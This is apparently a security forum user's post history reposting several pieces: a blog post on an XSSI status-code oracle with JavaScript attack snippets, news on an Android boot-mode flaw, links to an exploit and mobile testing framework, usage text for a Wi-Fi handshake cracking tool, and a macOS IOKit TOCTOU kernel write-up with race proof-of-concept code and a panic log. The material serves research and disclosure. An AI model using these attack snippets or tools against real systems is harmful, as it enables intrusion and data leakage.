-
Posts
18794 -
Joined
-
Last visited
-
Days Won
742
Everything posted by Nytro
-
A New XSSI Vector (or the untold merits of nosniff)... Posted on December 19, 2016 by Dennis Goodlett Introduction While playing with Cross Site Script Inclusion (XSSI) recently, I realized the attack can be used to leak information, cross-origin, from HTTP status codes. If you're thinking "XSSI Login Oracle" then you're on the right track, but the attack can be expanded to more situations. Login oracles are usually JavaScript files that load or don't load depending on current authentication status. However, this attack can be done on HTML, JSON, XML, or just about any content type. This dramatically opens up the attack surface of XSSI to enumerate information from GET parameters, one bit at a time. I haven't seen this specific attack published anywhere, so I'm going to attempt to make this post as comprehensive as possible. Edit:domnul_anonim on Reddit pointed out that Mike Cardwell published the same basic attack before it was called "XSSI". My blog post presents some new ideas about the attack, but referring to it as “new” is a bit bold and isn't quite appropriate. I've also structured this paper for easy reference. The structure is as follows: Attack Attack Requirements Defense Further study Summary TLDR Attack: Read "A More Interesting Example" in the Attack section below for a walkthrough. TLDR Defense: Use the nosniff HTTP header ("Requirement 1" explained in Defense section below). I won't explain the basics of XSSI because I lack the room. SCIP has a blog post explaining XSSI in great depth. I consider it the best reference and introduction on the subject. I'm presenting an attack on non-script content injection. Stronger attacks on non-script content are explained in the cited blog but the attacks tend to require more specialized circumstances (encoding and injection tricks) than the one I will be demonstrating. 1.) The Attack The basic idea is very similar to a XSSI login oracle. An attacker attempts to load script tags to his page that point at a different origin. By handling the onerror, onload, and window.onerror functions, an attacker can learn information about how the cross-origin server responded to the GET request. I was surprised to learn that onerror executes if you receive a non-2XX response, and onload executes otherwise. This is regardless of the content type returned, unless strict content type is being enforced (see Requirement 1). So what's the big deal? What can you learn from a 200 vs a 400 response? Well, it depends on the endpoint but potentially a lot. After all, the HTTP status code is meant to return information, and often does for API's. SOME BASIC EXAMPLES Imagine an /admin directory that returns a 200 status code and HTML if you're authenticated, and a 401 with an HTML error page if you aren't. This would act not only as a login oracle, but it would also allow the enumeration of privileges. If there was a unique profile page for each user (ie: /profile/dennis) then a similar attack could be used by a malicious site to identify specific users for further attacks and play innocent to response teams. If a page has SQL injection in a GET request but cannot be reached by the attacker, the attacker can cause authenticated users visiting an attacker controlled page to bit bang the injection for the attacker and leak the results cross origin to the attacker's JavaScript. A MORE INTERESTING EXAMPLE Let’s walk through a more interesting example in greater detail. Imagine a ticketing system that has a search field which is used to look up customer information. Sending a GET to "/search?c=d*", where the “*” character is acting as a wildcard, will return all the customers that start with the letter "d" and a 200 status code. If no customers match the “d*” pattern, then a 500 is returned. An attacker wants this information, but can’t login and just look. So instead he asks an already logged in user to make requests in the attacker’s behalf and tell the onload function “yes, I found someone” or tell the onerror function “no, that search returned nothing”. It’s similar to exploiting a blind SQL injection except it’s through a third party and you're abusing Same-Origin Policy instead of syntax. Notice, the content type returned in the body by the ticketing system does not need to be assumed here. The search can return JSON, XML, HTML or even an image, it's all the same to this attack as long as the nosniff header isn't being returned (Requirement 1 in defense). URL parameters can be included in the script src attribute so an attacker can create a script like so: d = document.createElement('script'); d.src = victim_domain + "/search?c=a*"; This will send a GET request to the “/search?c=a*” API on the ticketing system. Now the attacker just sets the onload and onerror events to log success and failure respectively: d.onload = function(){client_exists("a*")}; d.onerror = function(){client_does_not_exist("a*")}; Then append it to the DOM: document.head.appendChild(d); Any visitor to the attacker's site will then automatically send a GET request to the ticketing system, cross-origin. If there's a customer that starts with "a", then the endpoint will return a 200 and the onload will execute. The attacker's onload handler would then load another script into the DOM asking if there are any customers that start with "aa". If the onerror event occurs it's because there were not customers that started with the letter "a", so the attacker would then load another script into the DOM checking for customers who start with the letter "b". The script would continue with a tree searching algorithm until a valid customer name was returned. Once a customer name is discovered, the same type of attack can be used to search other API endpoints that require a customer name and return other information. For example, an endpoint that searches for email addresses associated to a customer. The attacker could also search for customers matching the "*" pattern. If this fails it means the visitor doesn't have access to the ticketing system customer search and no further requests need to be made. Because the information stealing requests are being performed by visitors to the attacker's site, the attack can be parallelized across all visitors. Put all this together with a social engineering email and there is potential for a lot of information leakage from even an internal ticketing systems. This attack is not far fetched and does not require a special circumstances. HTTP status codes are meant to return information. Script tags are meant to detect the onerror and onload. 2.) Attack Requirements To put it simply, the following elements are required: The 'X-Content-Type-Options: nosniff' HTTP header is not being returned, unless the content type is JavaScript. The endpoint must respond to a GET request. The status code of the endpoint varies from a 200 type response to a non-200 type response for success/failure (Note: 300 responses seem to act like whatever status code they point to). The information is not publicly available. The most concerning thing is what is not said here. There is no mention of content type, other than JavaScript in requirement 1. So, this attack works on XML, JSON, images, or any other content (so far as I have seen). (See Note 2 in "Requirement 1" below for details). More details on the requirements follow in the defense section. Pentesters: you should read that section too, because it explains some more tricks in greater depth. 3.) The Defense You just have to disturb one of the above requirements. Let's go through the requirements in greater detail from a defensive perspective. REQUIREMENT 1 If the ‘X-Content-Type-Options: nosniff’ HTTP header is returned, this attack won’t work. This is the simplest to verify and to implement. If you want to fix your site this is probably the way to do it. The nosniff header is a way the server can tell a browser "When I say I am giving you <Content-Type> I mean it is really <Content-Type>!". Why does this work? All types of files are served over HTTP, and web developers aren't always good about declaring the file type properly. So when a browser requests a JavaScript file, the content-type header may declare it's actually HTML. A browser thus puts off producing an error until it tries to parse the file as JavaScript. At that point, onload has already executed and any parsing errors will call the window.onerror function. The existence of the nosniff header means onerror will always be called immediately if the content type isn't stated correctly. Always onerror means no measurable difference and no information loss. If the content type is JavaScript, nosniff doesn't help and you have a normal XSSI attack. Note: This is only true for browsers that respect the nosniff header. IE and Chrome were the first to support this header. Firefox has followed also, I don’t know when support started but I have found Firefox 50 Firefox 51 honors nosniff while Firefox 45.5 does not. I assume Edge will act the same as IE, but I haven't personally tested either of them. Edit: 1lastBr3ath from Reddit pointed out Safari doesn't support the no-sniff header, Edge does. Also he corrected my mistake, it is Firefox 51 not 50 that included support for no-sniff. Note2: On the topic of what content type, 1lastBr3ath from reddit pointed me to this documentation, which is really where I should've pointed to. It states: The script should be served with the text/javascript MIME type, but browsers are lenient and only block them if the script is served with an image type (image/*), a video type (video/*), an audio (audio/*) type, or text/csv. If the script is blocked, an error is sent to the element, if not a successevent is sent. So all content types won't work in script tags. However, typical informational content types, like XML or JSON will. This restriction can potentially be bypassed by just using a different tag (See Further Study: other tags). REQUIREMENT 2 Script tags only work with GET requests. So if your endpoint only accepts POST requests, then this attack can’t be performed. This requirement is seemingly simple, but be careful. You may have designed your API to accept POST requests but your content management system may accept GET requests all the same. REQUIREMENT 3 If the endpoint always returns a 200, then there is no information within the status code to steal. However, status codes exist for a reason! Don’t just go abandoning a core part of the HTTP protocol just to stop this attack. Use the nosniff header instead. Constant HTTP status codes do stop the particular attack described here, but other attacks may still be possible. For example, a top level JSON array can be parsed as JavaScript while a top level JSON object can not. So even though your endpoint always returns 200 status codes, information can be gathered from whether or not there is a parsing error by creating a window.onerror function. Applying the nosniff header will stop even this attack as long as the Content-Type header is appropriately set to JSON. REQUIREMENT 4: If an attacker is in a position to just load up the secret information in his own browser, then there is no need for this attack. This attack revolves around an attacker domain asking a visitor to use their privileged position to get more information. Privileged position will most commonly mean authenticated, but could also mean network position. If your home router has this vulnerability, malicious public sites can request scripts from it and leak information. 4.) Further Study 3XX CODES: I have given little attention to open redirects and 3XX responses, which could expand the attack further. So far it does appear redirecting to a 2XX acts like a 2XX and redirecting to a non-2XX acts like a non-2XX. This means an endpoint protecting itself by checking the referer header might be bypassed if an open redirect is discovered. This is a neat idea too. OTHER TAGS: I believe img tags pointing cross-origin behave similar to script tags. Maybe loading a resource in both img and script tags could lead to more information disclosure due to parsing differences. CSS may also deserve a look. OTHER ATTRIBUTES I was hoping Subresource Integrity would yield further information leaks, but it wisely requires CORS to work. If you can get around CORS then there are bigger problems then this attack. I have spent most of my time testing onload, onerror, and window.onerror to get information. Observing more attributes may yield other attacks or more information per request. 5.) In Summary Any detectable difference in loading a cross origin resource is information. That information may be as minor as a login oracle, but could potentially be as bad as credentials (though unlikely). Defenders: A misunderstanding of content type is a common vector for all sorts of attacks. Enforcing strict content type with the nosniff HTTP header will mitigate this and many more attacks. It also puts you in a failsafe position. A response with improper content will cause an error that will be obvious to anyone and fixed easily. Attackers: Same origin policy is a little understood concept, which makes it a great source of bugs. Look for sensitive information returned in GET requests. Then see if you can detect any difference in behavior when requesting that information cross origin via script tags. This entry was posted in Penetration Testing by Dennis Goodlett Sursa: https://www.hurricanelabs.com/blog/new-xssi-vector-untold-merits-of-nosniff
-
Mobile Security Framework (MobSF) Version: v0.9.3 beta Mobile Security Framework (MobSF) is an intelligent, all-in-one open source mobile application (Android/iOS/Windows) automated pen-testing framework capable of performing static and dynamic analysis. It can be used for effective and fast security analysis of Android, iOS and Windows mobile Applications and supports both binaries (APK, IPA & APPX ) and zipped source code. MobSF can also perform Web API Security testing with it's API Fuzzer that can do Information Gathering, analyze Security Headers, identify Mobile API specific vulnerabilities like XXE, SSRF, Path Traversal, IDOR, and other logical issues related to Session and API Rate Limiting. Made with in India MobSF is also bundled with Android Tamer and BlackArch Documentation https://github.com/ajinabraham/Mobile-Security-Framework-MobSF/wiki/1.-Documentation Collaborators Ajin Abraham Dominik Schlecht Presentations OWASP APPSEC EU 2016 - Slides | Video NULLCON 2016 - Slides c0c0n 2015 - Slides More info: https://github.com/ajinabraham/Mobile-Security-Framework-MobSF
-
Google patches severe Android boot mode vulnerability The critical vulnerability left Android devices open to denial of service and privilege escalation attacks. By Charlie Osborne for Zero Day | January 9, 2017 -- Symantec Google has resolved a dangerous Android vulnerability which allowed attackers to reboot Nexus devices into custom boot modes, leading to spying and remote attacks. Patched as part of Google's January Android security bulletin, the flaw, CVE-2016-8467, grants cyberattackers the ability to use PC malware or malicious chargers to reboot a Nexus 6 or 6P device and implement a special boot configuration, or boot mode, which instructs Android to turn on various extra USB interfaces. According to IBM X-Force Application Security Research Team researchers Roee Hay and Michael Goberman, who revealed further details of the vulnerability in a blog post, the flaw gives attackers access to interfaces which offer additional control over a compromised device. In particular, the Nexus 6 the modem diagnostics interface is of concern as accessing this platform gives attackers access to the modem, which compromises "confidentiality and integrity," the team says. Once an attacker has gained access to the modem they can intercept phone calls, for example. It would also be possible to sniff mobile data packets and grab information including GPS coordinates of the device for tracking, place phone calls, steal call information and either access or change nonvolatile (NV) items or the EFS partition of a device. See also: Google patches Dirty Cow vulnerability in latest Android security update IBM says that if Android Debug Bridge (ADB) is enabled on the device, PC malware or a malicious charger can boot the target device with the special boot mode configuration. Once connected, the user is forced to accept the PC or charger permanently, a few commands are issued, and the device is rebooted. "Every future boot from this point forward will have the boot mode configuration enabled," IBM says. This means the attack is persistent and no longer requires ADB to run, although it still requires USB access." "Therefore, the attacker only needs the victim to enable ADB once," the researchers added. "Moreover, a lucky attacker might wait for the device to be in fastboot mode, which requires no authorization from the victim. This, however, is less likely." If attackers have physical access to the device, they can also reboot it into the custom boot mode manually. These issues are less severe on the Nexus 6P due to firmware protections, however, a quirk in the device type means attackers can open ADB sessions even if the mode has been disabled. In addition, due to the inclusion of additional USB interfaces in both device types, attackers can also access other interfaces to send or on SMS messages and potentially bypass two-factor authentication, escalate privileges, change radio settings and access a wide range of mobile device features. Google has now patched the flaw by forbidding a locked bootloader to boot with the dangerous boot modes. In December, researchers revealed that a new variant of Android malware called Gooligan was exploiting unpatched vulnerabilities to steal sensitive user data. Sursa: http://www.zdnet.com/article/google-patches-severe-android-boot-mode-vulnerability/
-
DriveCrypt DriveCrypt Dcr.sys vulnerability exploit for bypassing x64 DSE Link: https://github.com/subTee/DriveCrypt
-
HandShaker Detect, deauth, capture, crack WPA/2 handshakes and WEP keys. Crack WPS Pins Record AP location with Android GPS. Maintain a db of pwnd APs to avoid repetition. Installation: Run 'make install' in the HandShaker directory. handshaker will now be installed and can be run with 'handshaker'. Usage HandShaker - Detect, deauth, capture, crack WPA/2 handshakes and WEP Keys automagically. by d4rkcat <thed4rkcat@yandex.com> Usage: handshaker <Method> <Options> Method: -a - Autobot or wardriving mode -e - Search for AP by partial unique ESSID -l - Scan for APs and present a target list -c - Crack handshake from pcap -r - WPS Cracking with reaver Options: -i - Wireless Interface card -i2 - Second wireless card (better capture rate) -w - Wordlist to use for cracking -o - Save handshakes to custom directory -d - Deauth packets sent to each client (default 1) -p - Only attack clients above this power level -g - Use android GPS to record AP location -B - Use besside-ng to capture handshakes -E - Use evil twin AP to capture handshakes -M - Use mdk3 for deauth (default aireplay-ng) -T - Attempts to capture per AP (default 3) -W - Only attack WEP encrypted APs -s - Silent -h - This help Examples: handshaker -a -i wlan0 -T 5 ~ Autobot mode on wlan0 and attempt 5 times. handshaker -e Hub3-F -w wordlist.txt ~ Find AP like 'Hub3-F' and crack with wordlist. handshaker -l -o out/dir ~ List all APs and save handshakes to out/dir. handshaker -c handshake.cap -w wordlist.txt ~ Crack handshake.cap with wordlist. all your AP are belong to us.. Sursa: https://github.com/d4rkcat/HandShaker
-
Racing for everyone: descriptor describes TOCTOU in Apple's core by Qidan He (@flanker_hqd) This blog post is about a new type of vulnerabilities in IOKit I discovered and submitted to Apple in 2016. I did a brief scan using a IDA script on MacOS and found at least four bugs with 3 CVEs assigned (CVE-2016-7620/4/5), see https://support.apple.com/kb/HT207423. I was told afterwards that there’re even more issues of this type on iOS’/OSX’s IOKit drivers and fortunately Apple fixed them also. Lecture time: IOKit revisited Recall the old userspace iokit call entry method: 1709 kern_return_t 1710 IOConnectCallMethod( 1711 mach_port_t connection, // In 1712 uint32_t selector, // In 1713 const uint64_t *input, // In 1714 uint32_t inputCnt, // In 1715 const void *inputStruct, // In 1716 size_t inputStructCnt, // In 1717 uint64_t *output, // Out 1718 uint32_t *outputCnt, // In/Out 1719 void *outputStruct, // Out 1720 size_t *outputStructCntP) // In/Out 1721 { //... 1736 if (inputStructCnt <= sizeof(io_struct_inband_t)) { 1737 inb_input = (void *) inputStruct; 1738 inb_input_size = (mach_msg_type_number_t) inputStructCnt; 1739 } 1740 else { 1741 ool_input = reinterpret_cast_mach_vm_address_t(inputStruct); 1742 ool_input_size = inputStructCnt; 1743 } 1744 //... 1770 else if (size <= sizeof(io_struct_inband_t)) { 1771 inb_output = outputStruct; 1772 inb_output_size = (mach_msg_type_number_t) size; 1773 } 1774 else { 1775 ool_output = reinterpret_cast_mach_vm_address_t(outputStruct); 1776 ool_output_size = (mach_vm_size_t) size; 1777 } 1778 } 1779 1780 rtn = io_connect_method(connection, selector, 1781 (uint64_t *) input, inputCnt, 1782 inb_input, inb_input_size, 1783 ool_input, ool_input_size, 1784 inb_output, &inb_output_size, 1785 output, outputCnt, 1786 ool_output, &ool_output_size); 1787 //... 1795 return rtn; 1796 } If the inputstruct is larger than sizeof(io_struct_inband_t), the passed in argument will be casted to a mach_vm_address_t, otherwise just a native pointer. Is this one race-able? No? Is that one race-able? For a curious mind one would like to ask, if there exists any possibility that this can be modified to lead to TOCOU? Historical vulnerabilities focuses on racing memories shared via IOConnectMapMemory, whose meaning is very obvious according to this name (see Pangu’s and Ian Beer‘s ) research), however these kinds of vulns are mostly eliminated now. Eyes turned to these simple and naive IOKit arguments, are these benign little spirits even race-able? Lets see how these arguments are passed from userspace to kernel space. In MIG trap defs and generated code, different input types are dealt in different ways. 601 602routine io_connect_method( 603 connection : io_connect_t; 604 in selector : uint32_t; 605 606 in scalar_input : io_scalar_inband64_t; 607 in inband_input : io_struct_inband_t; 608 in ool_input : mach_vm_address_t; 609 in ool_input_size : mach_vm_size_t; 610 611 out inband_output : io_struct_inband_t, CountInOut; 612 out scalar_output : io_scalar_inband64_t, CountInOut; 613 in ool_output : mach_vm_address_t; 614 inout ool_output_size : mach_vm_size_t 615 ); 616 The following code is generated: /* Routine io_connect_method */ mig_external kern_return_t io_connect_method ( mach_port_t connection, uint32_t selector, io_scalar_inband64_t scalar_input, mach_msg_type_number_t scalar_inputCnt, io_struct_inband_t inband_input, mach_msg_type_number_t inband_inputCnt, mach_vm_address_t ool_input, mach_vm_size_t ool_input_size, io_struct_inband_t inband_output, mach_msg_type_number_t *inband_outputCnt, io_scalar_inband64_t scalar_output, mach_msg_type_number_t *scalar_outputCnt, mach_vm_address_t ool_output, mach_vm_size_t *ool_output_size ) { //... (void)memcpy((char *) InP->scalar_input, (const char *) scalar_input, 8 * scalar_inputCnt); //... if (inband_inputCnt > 4096) { { return MIG_ARRAY_TOO_LARGE; } } (void)memcpy((char *) InP->inband_input, (const char *) inband_input, inband_inputCnt); //... InP->ool_input = ool_input; InP->ool_input_size = ool_input_size; OK, seems scala-input and struct-input with size < 4096 are copied and bundled inband of the mach-msg, then passed into kernel space. No way. However, Struct-input with size > 4096 remains mach_vm_address and is untouched. Now lets dive into kernel space 3701 kern_return_t is_io_connect_method 3702 ( 3703 io_connect_t connection, 3704 uint32_t selector, 3705 io_scalar_inband64_t scalar_input, 3706 mach_msg_type_number_t scalar_inputCnt, 3707 io_struct_inband_t inband_input, 3708 mach_msg_type_number_t inband_inputCnt, 3709 mach_vm_address_t ool_input, 3710 mach_vm_size_t ool_input_size, 3711 io_struct_inband_t inband_output, 3712 mach_msg_type_number_t *inband_outputCnt, 3713 io_scalar_inband64_t scalar_output, 3714 mach_msg_type_number_t *scalar_outputCnt, 3715 mach_vm_address_t ool_output, 3716 mach_vm_size_t *ool_output_size 3717 ) 3718 { 3719 CHECK( IOUserClient, connection, client ); 3720 3721 IOExternalMethodArguments args; 3722 IOReturn ret; 3723 IOMemoryDescriptor * inputMD = 0; 3724 IOMemoryDescriptor * outputMD = 0; 3725 //... 3736 args.scalarInput = scalar_input; 3737 args.scalarInputCount = scalar_inputCnt; 3738 args.structureInput = inband_input; 3739 args.structureInputSize = inband_inputCnt; 3740 3741 if (ool_input) 3742 inputMD = IOMemoryDescriptor::withAddressRange(ool_input, ool_input_size, 3743 kIODirectionOut, current_task()); 3744 3745 args.structureInputDescriptor = inputMD; //... 3753 if (ool_output && ool_output_size) 3754 { 3755 outputMD = IOMemoryDescriptor::withAddressRange(ool_output, *ool_output_size, 3756 kIODirectionIn, current_task()); //... 3774 return (ret); 3775 } Seems Apple and Linus take a different approach here. In Linux kernel, usually incoming userspace content are copied to kernel-allocated memory content using copy_from_user. However here the Apple kernel directly creates a memory descriptor using the userspace address, rather than creating a copy. So can we modify this memory content in userspace after it’s passed to kernel via IOKit call? Surprisingly, the answer is yes! This means, for a IOKit call, if the corresponding IOService accepts input memory descriptor, the userspace program can alter the content while the IOService is processing it, no lock, no write prevention. Juicy place for racing conditions and TOCTOUs(Time to check before time to use) After this bug is fixed I talked to security folks at Apple and they said even they didn’t realized the descriptor mapped memory is writable by userspace. I quickly identified several potential vulnerable patterns in IOReportUserClient, IOCommandQueue and IOSurface, one of them (CVE-2016-7624) is described below. And there’re far more patterns than that, using your imagination TOCTOU in IOCommandQueue can lead to information disclosure reachable from sandbox There exists an TOCTOU in IOCommandQueue::submit_command_buffer. This function accepts either inband struct or structureInputDescriptor. Data controlled by attacker is passed into the function and at certain offset a value is used as length. The length is validated but due to the nature of MemoryDescriptor, client can still change the value when its actually used by modifying the mapped memory, causing TOCTOU that lead to information disclosure or other possible oob write. Analysis IOAccelCommandQueue::s_submit_command_buffers accept user input IOExternalMethodArguments, and if structureInputDescriptor is passed in from a userspace mapped address, it will use structureInputDescriptor and get a IOMemoryMap then get its address and use it. But nothing prevents userspace from modifying the content represented by the address, lead to TOCTOU. __int64 __fastcall IOAccelCommandQueue::s_submit_command_buffers(IOAccelCommandQueue *this, __int64 a2, IOExternalMethodArguments *a3) { IOExternalMethodArguments *v3; // r12@1 IOAccelCommandQueue *v4; // r15@1 unsigned __int64 inputdatalen; // rsi@1 unsigned int v6; // ebx@1 IOMemoryDescriptor *v7; // rdi@3 __int64 v8; // r14@3 __int64 inputdata; // rcx@5 v3 = a3; v4 = this; inputdatalen = (unsigned int)a3->structureInputSize; v6 = -536870206; if ( inputdatalen >= 8 && inputdatalen - 8 == 3 * (((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL * (unsigned __int128)(inputdatalen - 8) >> 64) >> 1) & 0x7FFFFFFFFFFFFFF8LL) ) { v7 = (IOMemoryDescriptor *)a3->structureInputDescriptor; v8 = 0LL; if ( v7 ) { v8 = (__int64)v7->vtbl->__ZN18IOMemoryDescriptor3mapEj(v7, 4096LL); v6 = -536870200; if ( !v8 ) return v6; inputdata = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v8 + 280LL))(v8); LODWORD(inputdatalen) = v3->structureInputSize; } We can see that at offset+4, a DWORD is retrived as length and compared with ((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL * (unsigned __int128)(inputdatalen - 8) >> 64) >> 1) & 0x7FFFFFFFFFFFFFF8LL) And then this length offset is used again in submit_command_buffer. See the following code: if ( *((_QWORD *)this + 160) ) { v5 = (IOAccelShared2 *)*((_QWORD *)this + 165); if ( v5 ) { IOAccelShared2::processResourceDirtyCommands(v5); IOAccelCommandQueue::updatePriority((IOAccelCommandQueue *)v2); if ( *(_DWORD *)(input + 4) ) { v6 = (unsigned __int64 *)(input + 24); v7 = 0LL; do { IOAccelCommandQueue::submitCommandBuffer( (IOAccelCommandQueue *)v2, *((_DWORD *)v6 - 4),//v6 based on input *((_DWORD *)v6 - 3),//based on input *(v6 - 1),//based on input *v6);//based on input ++v7; v6 += 3; } while ( v7 < *(unsigned int *)(input + 4) ); //NOTICE HERE } Notice in line 23 that *(input+4) is accessed again as loop boundary. However if user passes in a descriptor, then he can modify it at userland and bypass the check in s_submit_command_buffers, cause the loop to go out-of-bound. In IOAccelCommandQueue::submitCommandBuffer, in the following statement: IOGraphicsAccelerator2::sendBlockFenceNotification( *((IOGraphicsAccelerator2 **)this + 166), (unsigned __int64 *)(*((_QWORD *)this + 160) + 16LL), data_from_input_add_24_minus_8, 0LL, v13); result = IOGraphicsAccelerator2::sendBlockFenceNotification( *((IOGraphicsAccelerator2 **)this + 166), (unsigned __int64 *)(*((_QWORD *)this + 160) + 16LL), data_from_input_add_24, 0LL, v13); The memory content is sent back to user space if a notification callback is installed. So if an attacker can carefully control some sensitive memory to place after the mapped descriptor memory, the OOB can get this content back to userspace, lead to infoleak. The exploit steps are Userspace program mmaps memory page, pass it as iokit call argument structureInputDescriptor s_submit_command_buffer validates at +4 the content is legal compared to the total incoming structureInput length submit_command_buffer iterates the passed in descriptor memory from userspace, using the +4 as boundary length indicator. Memory content readed is calculated in submitCommandBuffer and send back to userspace via installed asyncNotificationPort. Userspace program races to modify this +4 offset value, causing the loop to go out-of-bound, leaking adjacent memory in Kernel address space. Notice that the inputdatelen is first retrieved from structureInputSize, so we cannot directly use the IOConnectCallMethod API. Because in this API, structureInput and structureInputDescriptor cannot be passed at same time. Instead we directly call _io_connect_method private function in IOKit framework, which accepts structureInput and structureInputDescriptor at same time. POC code POC code for these three vulns can all be found at https://github.com/flankerhqd/descriptor-describes-racing. Here is one simplified version: volatile unsigned int secs = 10; void modifystrcut() { *((unsigned int*)(input+4)) = 0x7fffffff; printf("secs %x\n", secs); } //... int main(int argc, const char * argv[]) { io_iterator_t iterator; //... getFunc(); io_connect_t conn; io_service_t svc; //... IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IntelAccelerator"), &iterator); svc = IOIteratorNext(iterator); printf("%x %x\n", IOServiceOpen(svc, mach_task_self(), 9, &conn), conn); //... io_connect_t sharedconn; IOServiceOpen(svc, mach_task_self(), 6, &sharedconn); IOConnectAddClient(conn, sharedconn); //then set async ref ref = IONotificationPortCreate(kIOMasterPortDefault); port = IONotificationPortGetMachPort(ref); pthread_t rt; pthread_create(&rt, NULL, gaorunloop, NULL); io_async_ref64_t asyncRef; asyncRef[kIOAsyncCalloutFuncIndex] = callback; asyncRef[kIOAsyncCalloutRefconIndex] = NULL; //... const uint32_t outputcnt = 0; const size_t outputcnt64 = 0; IOConnectCallAsyncScalarMethod(conn, 0, port, asyncRef, 3, NULL, 0, NULL, &outputcnt); //... size_t i=0; input = dommap(); { char* structinput = input; *((unsigned int*)(structinput+4)) = 0xaa;//the size is then used in for loop, possible to change it in descriptor? size_t outcnt = 0; } //... const size_t bufsize = 4088; char buf[bufsize]; memset(buf, 'a', sizeof(buf)*bufsize); size_t outcnt =0; *((unsigned int*)(buf+4)) = 0xaa; //... { pthread_t t; pthread_create(&t, NULL, modifystrcut, NULL); //... io_connect_method( conn, 1, NULL,//input 0,//inputCnt buf,//inb_input bufsize,//inb_input_size reinterpret_cast_mach_vm_address_t(input),//ool_input ool_size,//ool_input_size buf,//inb_output (mach_msg_type_number_t*)&outputcnt, //inb_output_size* (uint64_t*)buf,//output &outputcnt, //outputCnt reinterpret_cast_mach_vm_address_t(buf), //ool_output (mach_msg_type_number_t*)&outputcnt64//ool_output_size* ); } Two key constans are 4088 and 0xaa, this two numbers will comfort the check at inputdatalen - 8 == 3 * (((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL * (unsigned __int128)(inputdatalen - 8) >> 64) >> 1) & 0x7FFFFFFFFFFFFFF8LL) ) and if ( *(_DWORD *)(inputdata + 4) == (unsigned int)((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL * (unsigned __int128)((unsigned __int64)(unsigned int)inputdatalen - 8) >> 64) >> 4) ) Panic Report panic(cpu 0 caller 0xffffff801dfce5fa): Kernel trap at 0xffffff7fa039d2a4, type 14=page fault, registers: CR0: 0x0000000080010033, CR2: 0xffffff812735f000, CR3: 0x000000000ce100ab, CR4: 0x00000000001627e0 RAX: 0x000000007fffffff, RBX: 0xffffff812735f008, RCX: 0x0000000000000000, RDX: 0x0000000000000000 RSP: 0xffffff81276d3b60, RBP: 0xffffff81276d3b80, RSI: 0x0000000000000000, RDI: 0xffffff802fcaef80 R8: 0x00000000ffffffff, R9: 0x0000000000000002, R10: 0x0000000000000007, R11: 0x0000000000007fff R12: 0xffffff8031862800, R13: 0xaaaaaaaaaaaaaaab, R14: 0xffffff812735e000, R15: 0x00000000000000aa RFL: 0x0000000000010293, RIP: 0xffffff7fa039d2a4, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0xffffff812735f000, Error code: 0x0000000000000000, Fault CPU: 0x0, PL: 0 Backtrace (CPU 0), Frame : Return Address 0xffffff81276d37f0 : 0xffffff801dedab12 mach_kernel : _panic + 0xe2 0xffffff81276d3870 : 0xffffff801dfce5fa mach_kernel : _kernel_trap + 0x91a 0xffffff81276d3a50 : 0xffffff801dfec463 mach_kernel : _return_from_trap + 0xe3 0xffffff81276d3a70 : 0xffffff7fa039d2a4 com.apple.iokit.IOAcceleratorFamily2 : __ZN19IOAccelCommandQueue22submit_command_buffersEPK29IOAccelCommandQueueSubmitArgs + 0x8e 0xffffff81276d3b80 : 0xffffff7fa039c92c com.apple.iokit.IOAcceleratorFamily2 : __ZN19IOAccelCommandQueue24s_submit_command_buffersEPS_PvP25IOExternalMethodArguments + 0xba 0xffffff81276d3bc0 : 0xffffff7fa03f6db5 com.apple.driver.AppleIntelHD5000Graphics : __ZN19IGAccelCommandQueue14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x19 0xffffff81276d3be0 : 0xffffff801e4dfa07 mach_kernel : _is_io_connect_method + 0x1e7 0xffffff81276d3d20 : 0xffffff801df97eb0 mach_kernel : _iokit_server + 0x5bd0 0xffffff81276d3e30 : 0xffffff801dedf283 mach_kernel : _ipc_kobject_server + 0x103 0xffffff81276d3e60 : 0xffffff801dec28b8 mach_kernel : _ipc_kmsg_send + 0xb8 0xffffff81276d3ea0 : 0xffffff801ded2665 mach_kernel : _mach_msg_overwrite_trap + 0xc5 0xffffff81276d3f10 : 0xffffff801dfb8dca mach_kernel : _mach_call_munger64 + 0x19a 0xffffff81276d3fb0 : 0xffffff801dfecc86 mach_kernel : _hndl_mach_scall64 + 0x16 Kernel Extensions in backtrace: com.apple.iokit.IOAcceleratorFamily2(205.10)[949D9C27-0635-3EE4-B836-373871BC6247]@0xffffff7fa0374000->0xffffff7fa03dffff dependency: com.apple.iokit.IOPCIFamily(2.9)[D8216D61-5209-3B0C-866D-7D8B3C5F33FF]@0xffffff7f9e72c000 dependency: com.apple.iokit.IOGraphicsFamily(2.4.1)[172C2960-EDF5-382D-80A5-C13E97D74880]@0xffffff7f9f232000 com.apple.driver.AppleIntelHD5000Graphics(10.1.4)[E5BC31AC-4714-3A57-9CDC-3FF346D811C5]@0xffffff7fa03ee000->0xffffff7fa047afff dependency: com.apple.iokit.IOSurface(108.2.1)[B5ADE17A-36A5-3231-B066-7242441F7638]@0xffffff7f9f0fb000 dependency: com.apple.iokit.IOPCIFamily(2.9)[D8216D61-5209-3B0C-866D-7D8B3C5F33FF]@0xffffff7f9e72c000 dependency: com.apple.iokit.IOGraphicsFamily(2.4.1)[172C2960-EDF5-382D-80A5-C13E97D74880]@0xffffff7f9f232000 dependency: com.apple.iokit.IOAcceleratorFamily2(205.10)[949D9C27-0635-3EE4-B836-373871BC6247]@0xffffff7fa0374000 BSD process name corresponding to current thread: cmdqueue1 Boot args: keepsyms=1 -v Mac OS version: 15F34 Kernel version: Darwin Kernel Version 15.5.0: Tue Apr 19 18:36:36 PDT 2016; root:xnu-3248.50.21~8/RELEASE_X86_64 Kernel UUID: 7E7B0822-D2DE-3B39-A7A5-77B40A668BC6 Kernel slide: 0x000000001dc00000 Kernel text base: 0xffffff801de00000 __HIB text base: 0xffffff801dd00000 System model name: MacBookAir6,2 (Mac-7DF21CB3ED6977E5) Disassembling the RIP register __text:000000000002929E mov esi, [rbx-10h] ; unsigned int __text:00000000000292A1 mov edx, [rbx-0Ch] ; unsigned int __text:00000000000292A4 mov rcx, [rbx-8] ; unsigned __int64 __text:00000000000292A8 mov r8, [rbx] ; unsigned __int64 We can see at the crash address, rbx has already go out-of-bound, hits an adjacent unmapped area, lead to 